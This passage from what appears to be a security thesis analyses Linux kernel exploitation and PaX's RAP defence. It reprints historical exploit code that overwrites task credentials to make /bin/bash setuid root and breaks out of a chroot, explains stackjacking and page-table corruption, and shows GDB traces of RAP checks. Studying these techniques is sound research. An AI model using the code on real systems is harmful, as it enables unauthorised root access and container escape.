In the same exploit mentioned in 2.14.1, spender was able to obtain root privileges
by patching the running process’ (the exploit’s) credentials. In Linux (and traditional
UNIX), every task is associated with a set of credentials that specify its privileges
in the system. Examples of credentials in Linux are the User ID (UID), Effective
User ID (EUID), Group ID (GID), capabilities, etc. These credentials are specified in
struct cred (defined in include/linux/cred.h), which is stored in the struct task_struct
structure (defined in include/linux/sched.h), the process descriptor which contains all
the information needed about a running task. At the time, however, the credentials
were defined directly as members in the task_struct structure, not inside the credentials
structure (struct cred).
struct task_struct {
[...]
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
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[...]
};
Listing 31: Task credentials in task_struct
/* will need to be adjusted for kernels that have 8kb kernel
stacks.. which should be rare now that 4kb is the default
*/
inline unsigned int get_current(void)
{
asm(
" movl $0xffffe000, %eax;"
" andl %esp, %eax;"
" movl (%eax), %eax;"
);
}
void own_the_kernel(int arg1, int arg2)
{
unsigned int *current;
unsigned int orig_current;
current = (unsigned int *)get_current();
orig_current = (unsigned int)current;
disable_selinux();
while (((unsigned int)current < (orig_current + 0x1000)) &&
(current[0] != our_uid || current[1] != our_uid ||
current[2] != our_uid || current[3] != our_uid))
current++;
if ((unsigned int)current >= (orig_current + 0x1000))
return;
/* found out after i had written this that georgi guninski
used the same trick, fancy ;)
*/
current[0] = current[1] = current[2] = current[3] = 0; // uids
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current[4] = current[5] = current[6] = current[7] = 0; // gids
chmod("/bin/bash", 04755);
return;
}
Listing 32: Overwriting the exploit task’s credentials
The above exploit code (listing 32) written by spender is the actual code that per-
forms the data-only attack against the task’s credentials (members inside task_struct),
in order to actually obtain root privileges and set the Set-User-ID (SUID) bit to
/bin/bash. The own_the_kernel() function starts by obtaining the current task’s
task_struct structure from the bottom of its kernel stack, as seen by the get_current()
function. Again, at the time, a thread_info structure lived at the bottom of every
thread’s kernel stack which had a pointer to the current thread’s task_struct. By
performing a bitwise AND (&) operation with value 0xffffe000 and the stack pointer
(esp), spender was able to obtain the bottom of the thread’s kernel stack, containing
the thread_info structure. Then, by dereferencing that address, which is now stored
in CPU register eax, the address of the current task’s task_struct is acquired. The
value 0xffffe000 assumes that each thread’s kernel stack is 8kB (∼(THREAD_SIZE
- 1)), with THREAD_SIZE (PAGE_SIZE * 2) = 0x2000, since (∼(0x2000 - 1)) =
0xffffe000. This means that spender’s comment above the get_current() function
is, in fact, incorrect. After disable_selinux() is called, which was already described
in 2.14.1, the current task’s task_struct is scanned in order to find four consecutive
values in memory equal to our_uid (UID of the task). When found, this means that
the credentials were found inside the task_struct structure and are now ready to be
overwritten with zero, leading to privilege escalation, since the task has now root
privileges. Finally, the Set-User-ID bit is set to /bin/bash and a root shell can be
later spawned by running /bin/bash -p. The -p argument is needed because bash drops
privileges, i.e., resets the effective user id to the real user id, when euid != ruid. The
-p option prevents euid from being reset, thus launching an actual root shell.
Patching credentials or user identification is a technique that dates back to at least
the 1970’s, specifically 1974, when the US Air Force published details of a vulnerability
analysis of Multics, the most secure operating system available at the time [46]. From
section 3.4.2: "The user identification in Multics is stored in a per-process segment
called the process data segment (PDS). The PDS resides in ring 0 and contains many
constants used in ring 0 and the ring 0 procedure stack. The user identification is stored
in the PDS as a character string representing the user’s name and a character string
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representing the user’s project. [...] Therefore, as shown in Sections 3.4.1.1 and 3.4.1.2,
the dump and patch utilities can dump and patch portions of the PDS, thus forging
the non-forgeable identification. [...] This capability provides the penetrator with an
’u1timate weapon’. The agent can now undetectably masquerade as any user of the
system including the system administrator or security officer, immediately assuming
that user’s access privileges." Another notable mention would be Mudge’s 1998 FORTH
Hacking on Sparc Hardware article, published on phrack [47].
2.14.3 Container Breakouts
Containers are a virtualization method at the operating system level, in this case,
the Linux kernel, that allows the existence of multiple isolated user-space instances,
instead of just one. Containers can run different and isolated applications while sharing
the same kernel as the host operating system. Isolation is then ensured by the host’s
kernel, making it the primary target for determined attackers, due to the kernel’s large
attack surface.
Spender’s enlightenment.tgz [48] is an exploitation framework that includes several
exploits which take advantage of NULL pointer dereference bugs that were present in
the Linux kernel at the time. Besides privilege escalation, exploit.c contains several
techniques that demonstrate how these can be used to take complete control of the
kernel and bypass many security mechanisms and checks in place. One of the interesting
routines is chroot_breakout(), which as the name indicates, allows attackers inside a
chroot to overwrite critical kernel structures that specify the task’s root directory and
current working directory. By altering such structures, an attacker is then able to
escape the container’s imposed restrictions and access the original root directory.
static inline void chroot_breakout(void)
{
int x, z;
unsigned long *fsptr;
unsigned long *initfsptr;
if (!init_task || !init_fs || !set_fs_root || !set_fs_pwd ||
!current_addr || !virt_addr_valid)
return;
initfsptr = (unsigned long *)init_fs;
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for (x = 0; x < 0x1000/sizeof(unsigned long); x++) {
if (init_task[x] != init_fs)
continue;
fs_offset = x * sizeof(unsigned long);
fsptr = (unsigned long *)*(unsigned long *)
(current_addr + fs_offset);
if (fsptr == NULL)
continue;
// we replace root and pwd too, so adjust reference counters
// accordingly
for (z = 0; z < 6; z++) {
/* lemony snicket's a series of unfortunate ints */
#ifdef __x86_64__
if (fsptr[z] == 0xffffffff00000000UL)
continue;
#endif
if (virt_addr_valid(fsptr[z]) &&
virt_addr_valid(fsptr[z+1]) &&
virt_addr_valid(fsptr[z+2]) &&
virt_addr_valid(fsptr[z+3])) {
set_fs_root((unsigned long)fsptr,
(unsigned long)&initfsptr[z]);
set_fs_pwd((unsigned long)fsptr,
(unsigned long)&initfsptr[z+2]);
return;
}
}
return;
}
}
Listing 33: Overwriting the exploit task’s fs_struct
The chroot_breakout() routine from above (listing 33) starts by identifying the offset
of init_fs (init_task’s fs_struct fs) within init_task (idle task’s task_struct). When
the offset of fs is found within the task_struct, it adds the current task’s task_struct
(also known as current) address with the offset of fs, obtaining the current task’s
fs_struct. Then, it simply iterates through current’s fs_struct members in order to
find valid virtual addresses (virt_addr_valid()), which means struct path root and
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struct path pwd were found. By calling set_fs_root() and set_fs_pwd(), the current’s
fs_struct is replaced with members from init_fs, which is not subject to the restrictions
of containers, thus using the original’s root directory and current working directory to
break out of the container.
While the above operations are performed with an attacker having the ability to
execute arbitrary code in the kernel, data-only attacks are sufficient to pull off the
above mentioned technique. After all, everything that is happening is reading and
writing data to writable memory in order to manipulate how the kernel acts within its
original logic.
2.14.4 Stackjacking Your Way to grsec/PaX bypass
In 2011, Dan Rosenberg and Jon Oberheide presented at Hackito Ergo Sum and
Immunity’s Infiltrate two exploitation techniques to exploit PaX/grsecurity hardened
Linux kernels [49]. In this presentation, it was assumed that two exploitation primitives
existed: an arbitrary kernel write and a kernel stack information leak. For vanilla
Linux kernels, such primitives weren’t even needed in order to obtain root privileges,
where the attacker is an unprivileged user on the system, since an arbitrary write was
(and in some cases still is) enough for privilege escalation.
In some cases, kernel stack information leaks can leak sensitive addresses to userspace.
If attackers could leak a kernel stack address using the kernel stack information leak, i.e.,
leaking a pointer to the kernel stack that resides on the kernel stack, it would be possible
to calculate the base address of the task’s kernel stack, since kernel_stack_base_address
= leaked_kernel_stack_address & ∼(THREAD_SIZE - 1). Dan and Jon called this
technique stack self-discovery. If the attacker goal was to read the address of the task’s
cred structure (and later use the arbitrary write primitive to corrupt it), then, the
arbitrary write and the kernel stack information leak need to be coupled together to
construct an arbitrary kernel read primitive.
In order to turn the arbitrary kernel write and kernel stack information leak into an
arbitrary kernel read, the Rosengrope technique uses the stack self-discovery method
to obtain the base address of the task’s kernel stack, which is where the thread_info
structure lives, as mentioned in 2.14.2. By overwriting addr_limit (a member of
thread_info) with KERNEL_DS (-1UL), copy_to/from_user() routines (which make
use of access_ok() checks) no longer verify if a userspace pointer actually points to
userspace, meaning an arbitrary kernel read/write primitive for an attacker. However,
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due to PaX’s UDEREF feature [50], the above mentioned technique needs to be
fine-tuned in order to actually work.
UDEREF makes use of the segmentation logic to define a non-flat __KERNEL_DS
segment (lower limit set to the top of userland address space) used in kernel’s %ss
(Stack Segment), %ds (Data Segment) and %es (Extra Segment) registers in order to
prevent userland from tricking the kernel into dereferencing a userland pointer when one
isn’t expected, thus eliminating kernel NULL pointer dereferences as seen in 2.14.2 and
the like. For data transfers between userland/kernel, the copy functions must reload
the proper segment register (#define __COPYUSER_SET_ES "pushl %%gs; popl
%%es") with __USER_DS for the duration of the copy, otherwise, userland access
wouldn’t be allowed. After the copy, %es is restored to its original __KERNEL_DS
(#define __COPYUSER_RESTORE_ES "pushl %%ss; popl %%es"). In special cases,
kernel/kernel data transfers are performed using the usual copy functions used for
userland/kernel transfers, which needs careful handling. In such cases, before the
actual copy, set_fs() needs to be called with KERNEL_DS (updating addr_limit to
allow kernel addresses), meaning that %gs can be reloaded at this point to contain
the __KERNEL_DS segment selector. After the copy, set_fs() must be called with
USER_DS, reloading %gs to contain the __USER_DS segment selector.
#ifdef CONFIG_PAX_MEMORY_UDEREF
void __set_fs(mm_segment_t x)
{
switch (x.seg) {
case 0:
loadsegment(gs, 0);
break;
case TASK_SIZE_MAX:
loadsegment(gs, __USER_DS);
break;
case -1UL:
loadsegment(gs, __KERNEL_DS);
break;
default:
BUG();
}
}
EXPORT_SYMBOL(__set_fs);
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void set_fs(mm_segment_t x)
{
current->thread.addr_limit = x;
__set_fs(x);
}
EXPORT_SYMBOL(set_fs);
#endif
Listing 34: Segment register %gs is reloaded depending on addr_limit’s value
All of this means that the Rosengrope technique couldn’t simply overwrite thread_info’s
addr_limit like it would be done on a vanilla Linux kernel. By overwriting addr_limit,
the checks on pointers (via access_ok()) would pass, but the segment registers would
be incorrect, resulting in a fault (attackers couldn’t specify kernel addresses since
__USER_DS selector was in use for the copy operation). The Rosengrope technique
abuses the fact that on context switches, __set_fs() is called with the task’s addr_limit,
meaning that at this point %gs is reloaded to contain the __KERNEL_DS selector.
Now, attackers can specify a kernel address on write(pipefd, kaddr, size) which reads
the target into the pipe buffer (kernel/kernel copy), restore addr_limit and finally
read() it. By obtaining the pointer to the task_struct of the current task (also stored
within thread_info), the arbitrary kernel read is used again to obtain the pointer to the
cred structure (within task_struct), which can now be written to using the arbitrary
kernel write to perform an attack similar to the one described in 2.14.2.
Similarly to Rosengrope, Obergrope uses the same primitives as Rosengrope, the
arbitrary kernel write and kernel stack information leak, in order to obtain an arbitrary
kernel read using a different method. This method is based on the fact that in the
Linux kernel, there are many codepaths that copy data to userland (via the typical
copy_to_user() routines, etc.), and some of them might use a source address argument
which was stored on the kernel stack at some point. By overwriting the source address
of copy_to_user()-like routines that were stored at some point on the kernel stack, an
arbitrary kernel read is possible since that data can now be leaked to userspace.
Since the possibility of exploiting the arbitrary kernel write to overwrite kernel
stack contents (source address of copy_to_user()-like routines) and leak data back to
userspace in one go (same system call) is slim, the Obergrope technique uses parent/child
processes, where the child self-discovers its kernel stack base address, sends the kernel
stack base address to the parent and the parent performs the arbitrary kernel write
while the child is in a syscall. However, one big problem that they had to face was that
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a race condition had to been won (small window), because the arbitrary kernel write
had to be exploited between the push of the source address of copy_to_user()-like
routines into the kernel stack and the pop from the kernel stack (and subsequently
be used by these routines). In order to win said race, the child uses "sleepy" syscalls
that allow users to put a process to sleep for an arbitrary amount of time (nanosleep,
wait, select, etc.) and, at the same time, this syscall must push a register to the
kernel stack, go to sleep for a controlled amount of time (in order for the parent to
perform the arbitrary write at this point), pop that register out of the kernel stack
and use it as a source address of copy_to_user()-like routines. One such syscall was
compat_sys_waitid(). Now, an arbitrary kernel read primitive was achieved and the
usual method of the cred struct overwrite is performed in order to elevate privileges on
the system (Dan and Jon call this stack jacking).
As a response to the above techniques [51], spender and the PaX Team removed
the thread_info struct out of the kernel stack, specifically from the base of the kernel
stack, which prevents the Rosengrope technique, since the stack self-discovery method
no longer can be used to reveal where thread_info is located, an essential step in order
to find out the location addr_limit and later use the arbitrary kernel write primitive
to modify it to KERNEL_DS. The RANDKSTACK feature (from 2002/2003 on i386)
made it into amd64 after the presentation, which prevents the Obergrope technique,
due to the fact that at every syscall the kernel stack pointer is randomized by 5 bits,
which means that writing to a particular offset in the kernel stack frame becomes
unreliable. Finally, USERCOPY was enhanced to prevent the use of userspace accessor
functions (copy_to/from_user()-like routines) from reading/writing to certain slab
caches, such as the task_struct’s.
After the response by spender and the PaX Team, Dan and Jon reported [52] that
RANDKSTACK allows attackers to disclose more kernel stack memory than before,
since instead of leaking a few bytes at a particular offset, attackers could now leak
bytes at many offsets, amplifying the kernel stack information leak to in order to leak a
large portion of the kernel stack. They also mention that RANDKSTACK makes stack
jacking even easier by requiring a kernel stack information leak and an arbitrary kernel
NULL write, supposedly a much more common primitive. Priming the kernel stack with
a function that puts a pointer to the cred struct on the kernel stack, RANDKSTACK
allows attackers with a kernel stack information leak primitive to dump large portions
of the kernel stack, obtain the pointer to the cred struct and write to its members via
the arbitrary kernel NULL write. Again, to mitigate the weakness, the PaX Team
introduced STACKLEAK which erases the kernel stack before it returns from a syscall.
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2.14.5 Page Tables
When paging is enabled, i.e., CR0.PG = 1, paging is the process that translates
linear addresses to physical addresses (where data is stored), using hierarchical paging
structures, and determines the access rights for a given linear address, e.g., read, write,
execute, etc., meaning that the CPU will operate on virtual memory and can no longer
access physical memory. The translation is achieved through the use of a hardware
component named Memory Management Unit (MMU) by means of page tables, where
it stores mapping information from virtual to physical addresses. In order to isolate
processes from each other, the kernel assigns each process its own set of page tables.
Figure 2.1: Page Table Hierarchy [53]
Considering the use of four-level page tables on x86-64, even though five-level page
tables were recently introduced into the Linux kernel (CONFIG_X86_5LEVEL), the
above boxes (figure 2.1) represent the bits of a 64-bit virtual address. To translate a
virtual address to its corresponding physical address, a virtual address’ bits are split
into several bit fields that are used to index into the existing levels of the hierarchical
paging structures: Page Global Directory (PGD), Page Upper Directory (PUD), Page
Middle Directory (PMD) and Page Table Entry (PTE). Note that the highest 16 bits
of a 64-bit virtual address are discarded, since only the lower 48 bits are used. Bits 39
to 47 are used to index into the PGD, and the value that is read is the address of the
PUD. Bits 30 to 38 are used to index into the PUD in order to get the address of the
PMD. Bits 21 to 29 are used to index into the PMD to obtain the address of the PTE,
the lowest level page table. Bits 12 to 20 of the virtual address used to index into
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the PTE obtain the page frame number that is used to calculate the actual physical
address of the page containing the data (physical_address = page_frame_number *
page_size + offset). The remaining bits are used as an offset into the page.
Figure 2.2: Page Table Entry [54]
It is important to remember that page table entries (PTEs) contain not only page
frame numbers (PFNs), but also other information related to the page, i.e., flags and/or
permission bits (figure 2.2). Notable flags/permission bits for an attacker would be:
• The first bit (field P), when set (1), means that the virtual page is present in
physical memory. If the bit is not set (0), it is not present, and the rest of the
entry is not used.
• The second bit (field R/W ), when set (1), means that the virtual page can be
written to. When not set (0), attempts to write to this virtual page (either by
the kernel or a process) result in a page fault (page is read-only).
• The third bit (field U/S), when set (1), means that unprivileged users may access
the virtual page. The kernel may or may not access the virtual page depending
on CR4.SMAP, etc. When not set (0), attempts to access the virtual page by
unprivileged users result in a page fault, though the kernel can access such page.
• The sixty fourth bit (field XD), when set (1), means that instruction fetches are
disabled from the virtual page controlled by this entry, i.e., the virtual page is
not executable. When not set (0), instruction fetches from the virtual page are
allowed, i.e., the virtual page is executable.
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For an attacker, page tables are an interesting target since all of this means that if
one is able to locate its own task’s writable mapping’s page table entry (PTE) via an
arbitrary kernel read and corrupt via an arbitrary kernel write the page frame number
(PFN ) used to calculate the physical address of the page, he can now modify it to
another PFN in order to write to a different physical address when writing to the
task’s writable mapping. The goal of an attacker is to change the original PTE ’s PFN
to a PFN corresponding to kernel memory, so that when writing to its own writable
userland mapping, kernel memory is then corrupted. Furthermore, the flags/permission
bits may also be attacker-controlled in such scenario, allowing attackers to write to
read-only and executable pages, e.g., the kernel’s .text segment, execute writable pages
e.g., kernel stack/heap, etc, thus completely breaking memory protection.
Real-world exploits against various operating systems have already abused page
tables in order to achieve arbitrary read/write to kernel memory, examples would be
George Hotz’s (also known as geohot) PlayStation 3 (PS3) exploit [55], the Evad3rs
evasi0n iOS 6 jailbreak [56], Thomas Dullien’s (also known as halvarflake) and Mark
Seaborn’s BlackHat 2015 talk on how to exploit the DRAM Rowhammer bug to gain
kernel privileges [57] where they spray/fill physical memory with PTEs (by repeatedly
mapping a file with read/write permissions in userspace) and induce (random) bit flips
in order to overwrite a PTE ’s PFN, which would now (hopefully) point into one of the
sprayed PTE ’s, thus achieving kernel read/write by corrupting this PTE when writing
into the userland mapping, etc. Obviously, page tables corruption attacks are therefore
able to allow an attacker to execute arbitrary code in the kernel in the presence of
RAP, as seen in [58].
Chapter 3
Reuse Attack Protector
In this chapter, an analysis of PaX Team’s Reuse Attack Protector (RAP) and
how it supposedly stops out-of-intended-order execution, i.e., code-reuse attacks, is
presented. Such analysis is a fundamental step towards finding and coming up with
potential implementation weaknesses that would lead attackers into bypassing RAP.
3.1 RAP: RIP ROP
In order to understand how RAP stops ROP/JOP, it is important to sympathize
ourselves with how it would work in theory. According to grsecurity’s RAP Frequently
Asked Questions (FAQ) [59], RAP’s first defense uses type information from a program
and a hashing function so that it creates a set of hashes such that the number of hashes
closely resembles the number of possible different types for functions used by such
program. The second defense (which does not exist on the public version of RAP),
on function entry, i.e., function prologue, "encrypts" the saved return address before
any code that could lead such return address to be corrupted. The key that is used
to encrypt the return address is stored in a reserved CPU register, generally ensuring
that it should not leak to would-be attackers. The encrypted return address is saved
in a register, while the original non-encrypted return address stays in memory. When
the function returns, i.e., on function epilogue, the instrumented code compares the
saved return address stored in memory (which could now be corrupted and pointing
somewhere else) with the decrypted version of the encrypted return address that was
stored in a reserved CPU register. If these are not equal, then execution should be
terminated, since it detected that the saved return address in memory was modified.
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Note that even for function returns, the type-hash-based RAP protection (first defense)
remains in place, due to the possibility of inferring the encryption key.
Having understood how RAP works in theory, it is time to get practical and
determine how the instrumented code and relevant instruction encodings based on
type information work together to stop ROP/JOP. Randomly picking a writable kernel
function pointer, i.e., a kernel function pointer stored in writable memory (in this case
n_tty_ops->receive_buf()), we’ll observe that right before it is called, instructions were
added by RAP that require a specific condition to be met in order to actually move on
to the actual call instruction. The n_tty_ops->receive_buf() function pointer will be
pointing into n_tty_receive_buf(), declared as static void n_tty_receive_buf(struct
tty_struct *tty, const unsigned char *cp, char *fp, int count), in drivers/tty/n_tty.c.
(gdb) x/32i $pc
0xffffffff81618f51 <tty_ioctl+1601>: mov rax,QWORD PTR [rax]
0xffffffff81618f54 <tty_ioctl+1604>:
movabs r8,0x8000000000000000
0xffffffff81618f5e <tty_ioctl+1614>: or r8,QWORD PTR [rax+0x50]
0xffffffff81618f62 <tty_ioctl+1618>:
cmp QWORD PTR [r8-0x8],0x62209ce
0xffffffff81618f6a <tty_ioctl+1626>: jne 0xffffffff81619c4f
0xffffffff81618f70 <tty_ioctl+1632>: mov ecx,0x1
0xffffffff81618f75 <tty_ioctl+1637>: lea rdx,[rbp-0x90]
0xffffffff81618f7c <tty_ioctl+1644>: lea rsi,[rbp-0x91]
0xffffffff81618f83 <tty_ioctl+1651>: mov rdi,rbx
0xffffffff81618f86 <tty_ioctl+1654>:
jmp 0xffffffff81618f95 <tty_ioctl+1669>
0xffffffff81618f88 <tty_ioctl+1656>: xor dh,dh
0xffffffff81618f8a <tty_ioctl+1658>: (bad)
0xffffffff81618f8c <tty_ioctl+1660>: (bad)
0xffffffff81618f8d <tty_ioctl+1661>: (bad)
0xffffffff81618f8e <tty_ioctl+1662>: (bad)
0xffffffff81618f8f <tty_ioctl+1663>: dec esp
0xffffffff81618f91 <tty_ioctl+1665>: int3
0xffffffff81618f92 <tty_ioctl+1666>: int3
0xffffffff81618f93 <tty_ioctl+1667>: int3
0xffffffff81618f94 <tty_ioctl+1668>: int3
0xffffffff81618f95 <tty_ioctl+1669>: call r8
0xffffffff81618f98 <tty_ioctl+1672>: mov rdi,r12
0xffffffff81618f9b <tty_ioctl+1675>:
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jmp 0xffffffff81618fa8 <tty_ioctl+1688>
0xffffffff81618f9d <tty_ioctl+1677>: mov bh,0xc6
0xffffffff81618f9f <tty_ioctl+1679>: sbb ebp,ecx
0xffffffff81618fa1 <tty_ioctl+1681>: (bad)
0xffffffff81618fa2 <tty_ioctl+1682>: (bad)
0xffffffff81618fa3 <tty_ioctl+1683>: (bad)
0xffffffff81618fa4 <tty_ioctl+1684>: dec esp
0xffffffff81618fa6 <tty_ioctl+1686>: int3
0xffffffff81618fa7 <tty_ioctl+1687>: int3
0xffffffff81618fa8 <tty_ioctl+1688>:
call 0xffffffff816245a0 <tty_ldisc_deref>
(gdb) x/x $rax
0xffff88006da644c0: 0xffffffff82874480
(gdb) x/gx 0xffffffff82874480+0x50
0xffffffff828744d0 <n_tty_ops+80>: 0xffffffff816203a0
(gdb) x/i 0xffffffff816203a0
0xffffffff816203a0 <n_tty_receive_buf>: push rbp
(gdb) x/gx 0xffffffff816203a0-0x8
0xffffffff81620398: 0x00000000062209ce
(gdb) x/i 0xffffffff81619c4f
0xffffffff81619c4f <tty_ioctl+4927>: int 0x82
Listing 35: RAP’s forward-edge checks and instruction encodings
As we can see from the above listing (listing 35), the call r8 instruction (located at
address 0xffffffff81618f95 ) is only reached if the qword (8 bytes) at address r8-0x8 is
0x62209ce, as seen by the cmp QWORD PTR [r8-0x8],0x62209ce instruction (located
at 0xffffffff81618f62 ). Note that the magic number is embedded immediately before
the function so that it can be accessed through the function pointer. If they’re not
equal, it jumps into an int 0x82 instruction (located at 0xffffffff81619c4f. The specific
trap is handled by the kernel in the do_trap_no_signal() function, which determines
that a function pointer was overwritten (X86_RAP_CALL_VECTOR=0x82 and
X86_RAP_RET_VECTOR=0x83 as set in scripts/Makefile.gcc-plugins):
static nokprobe_inline int
do_trap_no_signal(struct task_struct *tsk, int trapnr,
const char *str,
struct pt_regs *regs, long error_code)
{
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[...]
if (!user_mode(regs)) {
[...]
#ifdef CONFIG_PAX_RAP
if (trapnr == X86_RAP_CALL_VECTOR) {
str = "PAX: overwritten function pointer detected";
regs->ip -= 2; // sizeof int $xx
} else if (trapnr == X86_RAP_RET_VECTOR) {
str = "PAX: overwritten return address detected";
regs->ip -= 2; // sizeof int $xx
}
#endif
die(str, regs, error_code);
}
[...]
}
Listing 36: Detection of code pointer corruption via trapnr
Obviously, all of this means that in order for the call r8 instruction to get executed,
we must overwrite the function pointer with an address so that [address-0x8] ==
0x62209ce. Using the GNU Debugger (GDB), we can search for such sequence of bytes,
leading us to all the possible locations an attacker may redirect the kernel’s control-flow
to:
(gdb) find "0x00000000062209ce"
Searching for '0x00000000062209ce' in: None ranges
Found 1 results, display max 1 items:
vmlinux : 0xffffffff81620398 ((bad))
(gdb) x/i 0xffffffff81620398+0x8
0xffffffff816203a0 <n_tty_receive_buf>: push rbp
Listing 37: In search for possible call targets
As we can see (listing 37), since only one location was found, it is impossible in
this case for an attacker to execute code that was not meant to be executed. An
attacker can only overwrite the mentioned function pointer with itself, thus not gaining
anything extra. When n_tty_receive_buf() returns, the instrumented code and relevant
instruction encodings also make sure that it can only return to specific locations.
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(gdb) x/11i n_tty_receive_buf+81
0xffffffff816203f1 <n_tty_receive_buf+81>:
mov rax,QWORD PTR [rbp+0x8]
0xffffffff816203f5 <n_tty_receive_buf+85>:
cmp QWORD PTR [rax-0x10],0xfffffffff9ddf632
0xffffffff816203fd <n_tty_receive_buf+93>:
jne 0xffffffff8162043e <n_tty_receive_buf+158>
0xffffffff816203ff <n_tty_receive_buf+95>: pop rbx
0xffffffff81620400 <n_tty_receive_buf+96>: pop r12
0xffffffff81620402 <n_tty_receive_buf+98>: pop r13
0xffffffff81620404 <n_tty_receive_buf+100>: pop r14
0xffffffff81620406 <n_tty_receive_buf+102>: pop r15
0xffffffff81620408 <n_tty_receive_buf+104>: pop rbp
0xffffffff81620409 <n_tty_receive_buf+105>:
bts QWORD PTR [rsp],0x3f
0xffffffff8162040f <n_tty_receive_buf+111>: ret
(gdb) x/i 0xffffffff8162043e
0xffffffff8162043e <n_tty_receive_buf+158>: int 0x83
(gdb) find "0xfffffffff9ddf632"
Searching for '0xfffffffff9ddf632' in: None ranges
Found 2 results, display max 2 items:
vmlinux : 0xffffffff81618f88 (<tty_ioctl+1656>: xor dh,dh)
vmlinux : 0xffffffff81625b55 (<tty_ldisc_receive_buf+213>:
xor dh,dh)
Listing 38: RAP’s instrumented backward-edge checks
When n_tty_receive_buf() returns, we can observe (listing 38) that the mov
rax,QWORD PTR [rbp+0x8] instruction (located at 0xffffffff816203f1 ) stores the
saved return address in CPU register rax, and the following cmp QWORD PTR [rax-
0x10],0xfffffffff9ddf632 instruction (located at 0xffffffff816203f5 ) mandates that in
order for the actual ret (located at 0xffffffff8162040f ) to get executed, the qword at
return_address-0x10 must be 0xfffffffff9ddf632. If it isn’t, the jne instruction (located
at 0xffffffff816203fd) is taken, which would execute an int 0x83, detecting that the
return address was overwritten, as previously seen (listing 36). Searching in kernel
memory for the specified sequence of bytes (0xfffffffff9ddf632 ), one can tell that only
two locations are possible that an attacker can return into. However, the non-intended
possible return location is mostly useless for an attacker, since it does not execute
any interesting kernel code that would give would-be attackers an advantage. Also,
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please note that in the public version of RAP, returns are not protected with the return
address encryption (second defense) that is present in the private version.
Picking another writable kernel function pointer with a more common type, we
can see that the number of possible locations an attacker can call vastly increases. In
this case, our target will be n_tty_ops->close(), which points into the n_tty_close()
function, declared as static void n_tty_close(struct tty_struct *tty):
(gdb) p n_tty_close
$2 = {void (struct tty_struct *)} 0xffffffff8161bf40 <n_tty_close>
(gdb) x/gx 0xffffffff8161bf40-0x8
0xffffffff8161bf38: 0x000000002f93486f
(gdb) find "0x000000002f93486f"
Searching for '0x000000002f93486f' in: None ranges
Found 51 results, display max 51 items:
vmlinux : 0xffffffff811905a8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff816135f8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81613778 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81613898 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff816139a8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81615778 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81615938 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81616818 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81619c88 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81619d28 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81619de8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff8161a1b8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff8161b628 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff8161bf38 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff8161d818 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff816218c8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81621cd8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81621da8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81624698 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81625658 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81625928 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff816259a8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81628cd8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81628d88 (outs dx,DWORD PTR ds:[rsi])
--More--(25/52)
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vmlinux : 0xffffffff81628f98 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81629008 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81629078 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81629ac8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81629b38 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81629d28 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff81629df8 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff8162a678 (outs dx,DWORD PTR ds:[rsi])
vmlinux : 0xffffffff8163afa8 (outs dx,DWORD PTR ds:[rsi])
[...]
Listing 39: Possible call targets if n_tty_ops->close() was overwritten
Since we can only overwrite the function pointer with an address so that [address-0x8]
== 0x2f93486f, when searching executable memory for possible call targets (listing 39),
51 results were found. Notice that when overwriting function pointers, attackers can
only call other existing kernel functions with the same type as the one being overwritten.
With ROP, attackers could execute any executable byte present in kernel memory
(aligned and unaligned instructions). While ROP seems dead, executing unintended
code is still possible, however, RAP limits the set of targets to which an attacker might
redirect execution to. An attacker could try to find an existing kernel function that
would benefit him when executed when overwriting a function pointer that has the
same type as that function, though this would be the most obvious approach, therefore
it was decided not to take such path.
3.2 Code Injection via KERNEXEC
As described in 2.12, CFI makes several assumptions that must be held true in order
to ensure its effectiveness against powerful adversaries, as per its original attack model.
One of these assumptions is that data should not be in any case executable, since it
would allow code injection. If data were to be made executable, attackers could then
inject valid magic numbers (which would pass the relevant CFI instrumented checks)
followed by arbitrary attacker-controlled code. While looking for ways that would
break such assumption, it was noticed that due to KERNEXEC, a security defense
developed by the PaX Team with the main goal of preventing the execution (thus
introduction) of arbitrary code in kernel mode, code injection became possible. For
some unknown reason, the PaX Team left the .rodata section as executable. The name
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rodata is self-explanatory, it contains read-only initialized data and subsequent writes
by powerful attackers lead into a page fault.
void mark_rodata_ro(void)
{
unsigned long start = PFN_ALIGN(_text);
#ifdef CONFIG_PAX_KERNEXEC
unsigned long addr;
unsigned long end = PFN_ALIGN(_sdata);
unsigned long text_end = end;
#else
unsigned long rodata_start = PFN_ALIGN(__start_rodata);
unsigned long end = (unsigned long)&__end_rodata_hpage_align;
unsigned long text_end = PFN_ALIGN(&__stop___ex_table);
